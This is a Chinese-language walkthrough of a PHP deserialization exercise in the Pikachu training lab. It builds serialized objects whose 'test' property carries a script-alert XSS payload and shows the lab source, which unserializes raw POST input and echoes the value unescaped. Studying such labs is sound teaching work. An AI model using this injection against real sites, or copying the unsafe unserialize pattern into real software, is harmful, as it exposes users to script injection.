原理

序列化 serialize()

把一个对象变成可以传输的字符串

反序列化 unserialize()

把被序列化的字符串还原成对象

魔法函数

1
2
3
4
5
6
常见的几个魔法函数:
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用

题目

一开局就然我们输入一个序列化数据,不知道想干啥,我们就随便写一个对象

1
2
3
4
5
6
class S{
public $text = 'pikachu';
}
$s = new S();
$s = serialize($s);
echo $s;
1
O:1:"S":1:{s:4:"text";s:7:"pikachu";}

输入进去,发现下面文本有一个输出了一个 pikachu,真神奇,不知道怎么实现的?

1
2
3
4
5
6
7
class S{
public $text = 'pikachu';
public $test = 'hello';
}
$s = new S();
$s = serialize($s);
echo $s;
1
O:1:"S":2:{s:4:"text";s:7:"pikachu";s:4:"test";s:5:"hello";}

我们再输入进去,发现输出的 hello,莫非是输出最后一个变量?

不管了,既然在网页中直接输出字符串,我们开始构造。

1
2
3
4
5
6
class S{
public $text = "<script>alert('hello')</script>";
}
$s = new S();
$s = serialize($s);
echo $s;
1
O:1:"S":1:{s:4:"text";s:31:"<script>alert('hello')</script>";}

发现还是输出的 pikachu,科师刚才为啥会输出 hello 呢,我们放到第二个试试?

1
2
3
4
5
6
7
class S{
public $text = 'pikachu';
public $test = "<script>alert('hello')</script>";
}
$s = new S();
$s = serialize($s);
echo $s;
1
O:1:"S":2:{s:4:"text";s:7:"pikachu";s:4:"test";s:31:"<script>alert('hello')</script>";}

OK,完美收工,应该是获取第二个的变量,从而输出在网页上。

源码分析

很明显,这里代码根本就没给类 S 实例化,所以也就没用到魔法函数,只是下面的判断语句起了用途,并且不是我想的 需要第二个,还是变量名称腰围 test 就可以了,笑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}


//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}

}
?>